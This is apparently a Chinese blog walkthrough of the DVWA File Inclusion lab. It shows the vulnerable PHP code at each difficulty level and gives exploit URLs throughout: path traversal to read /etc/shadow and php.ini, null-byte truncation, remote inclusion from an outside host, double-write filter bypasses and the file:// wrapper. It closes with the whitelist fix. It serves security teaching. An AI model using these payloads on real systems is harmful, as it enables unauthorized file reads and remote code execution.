DVWA之文件包含漏洞

文档:http://www.freebuf.com/articles/web/119150.html

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

Low

服务端代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看到,服务器端对page参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

image.png

而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。
因此可以尝试利用这些漏洞
1.本地文件包含

image.png

这是正常情况下显示的链接,我们可以修改page参数改变路径来达到目的

构造url

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shadow

image.png

报错,显示没有这个文件,说明不是服务器系统不是Linux,但同时暴露了服务器文件的绝对路径
E:\wamp64\www\DVWA
构造url(绝对路径)

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=E:/wamp64/www/DVWA/php.ini

image.png

成功读取了服务器的php.ini文件

构造url(相对路径)

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../../wamp64/www/DVWA/php.ini

加这么多..\是为了保证到达服务器的E盘根目录,可以看到读取是成功的。


image.png

同时我们看到,配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。

  1. http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../../wamp64/www/DVWA/php.ini
  2. http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../../wamp64/www/DVWA/php.ini%001.php

使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。
2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器192.168.xx.xxx上传一个phpinfo.php文件,内容如下

<?php
phpinfo();
?>

构造url

http://172.21.xx.xx/DVWA/vulnerabilities/fi/?page=http://192.168.xx.xxx/phpinfo.php

图片.png

成功在服务器上执行了phpinfo函数
为了增加隐蔽性,可以对http://192.168.xx.xx8/phpinfo.php进行编码

http://172.21.xx.xx/DVWA/vulnerabilities/fi/?page=%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%32%30%2E%31%32%38%2F%70%68%70%69%6E%66%6F%2E%70%68%70

Medium(中)

服务端核心代码

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

尝试利用:
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.xx.xxx/phpinfo.php时,str_replace函数会将http://删除,于是page=http://192.168.xx.xxx/phpinfo.php,成功执行远程命令。

同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含( ../绕过)

http://172.21.96.34/DVWA/vulnerabilities/fi/?page=..././..././..././..././..././..././wamp64/www/DVWA/php.ini

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=E:/wamp64/www/DVWA/php.ini

绝对路径不受任何影响,读取成功

图片.png

2.远程文件包含

http://172.21.xx.xx/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.xx.xxx/phpinfo.php

图片.png

经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://192.168.xx.xxx/phpinfo.php,因此读取失败。

high

核心代码:

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图。


图片.png

可以了解php伪协议,其中就有file协议

  • file:// — 访问本地文件系统
    PHP.ini:
    file:// 协议在双off的情况下也可以正常使用;
    allow_url_fopen :off/on
    allow_url_include:off/on

使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/Myphp/phpwei.php?file=file:///e:/1.txt
<?php
include($_GET['file'])
?>
构造url:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///E:/wamp64/www/DVWA/php.ini

图片.png

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible

服务端代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容